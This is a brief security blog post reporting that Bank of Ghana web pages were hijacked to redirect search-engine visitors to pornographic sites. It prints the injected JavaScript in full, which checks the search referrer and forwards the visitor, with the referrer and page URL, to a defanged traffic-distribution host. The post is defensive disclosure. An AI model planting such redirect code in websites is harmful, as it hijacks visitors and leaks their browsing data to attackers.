The Bank of Ghana is serving porn.
A Yahoo search brings up some startling results (thumbnailed due to highly graphic content):
Narrowing down the search a wee bit:
Ouch, nasty stuff.
These pages redirect to porn (graphic content).
The code looks for referrals from search engines. Example:
http://rainbowdisplays(dot)com/xxxxx/fetish(dot)js
function f(){
var r=document.referrer,t=””,q;
if(r.indexOf(“google.”)!=-1)t=”q”;
if(r.indexOf(“msn.”)!=-1)t=”q”;
if(r.indexOf(“yahoo.”)!=-1)t=”p”;
if(r.indexOf(“altavista.”)!=-1)t=”q”;
if(r.indexOf(“aol.”)!=-1)t=”query”;
if(r.indexOf(“ask.”)!=-1)t=”q”;
if(r.indexOf(“comcast.”)!=-1)t=”q”;
if(r.indexOf(“bellsouth.”)!=-1)t=”string”;
if(r.indexOf(“netscape.”)!=-1)t=”query”;
if(r.indexOf(“mywebsearch.”)!=-1)t=”searchfor”;
if(r.indexOf(“peoplepc.”)!=-1)t=”q”;
if(r.indexOf(“starware.”)!=-1)t=”qry”;
if(r.indexOf(“earthlink.”)!=-1)t=”q”;
if(t.length&&((q=r.indexOf(“?”+t+”=”))!=-1(q=r.indexOf(“&”+t+”=”))!=-1))
window.location=(“http://grandsupport(dot)net/td/in(dot)cgi?13&seoref=”+encodeURIComponent(document.referrer)+ “¶meter=$keyword&se=$se&ur=1&HTTP_REFERER=”+encodeURIComponent(document.URL)+”&default_keyword=fetish”);
}window.onFocus = f()This loads the site grandsupport(dot)net
Let’s hope they get this cleaned up soon (we have notified them).
Alex Eckelberry
(Thanks to Sunbelt researcher Adam Thomas for this.)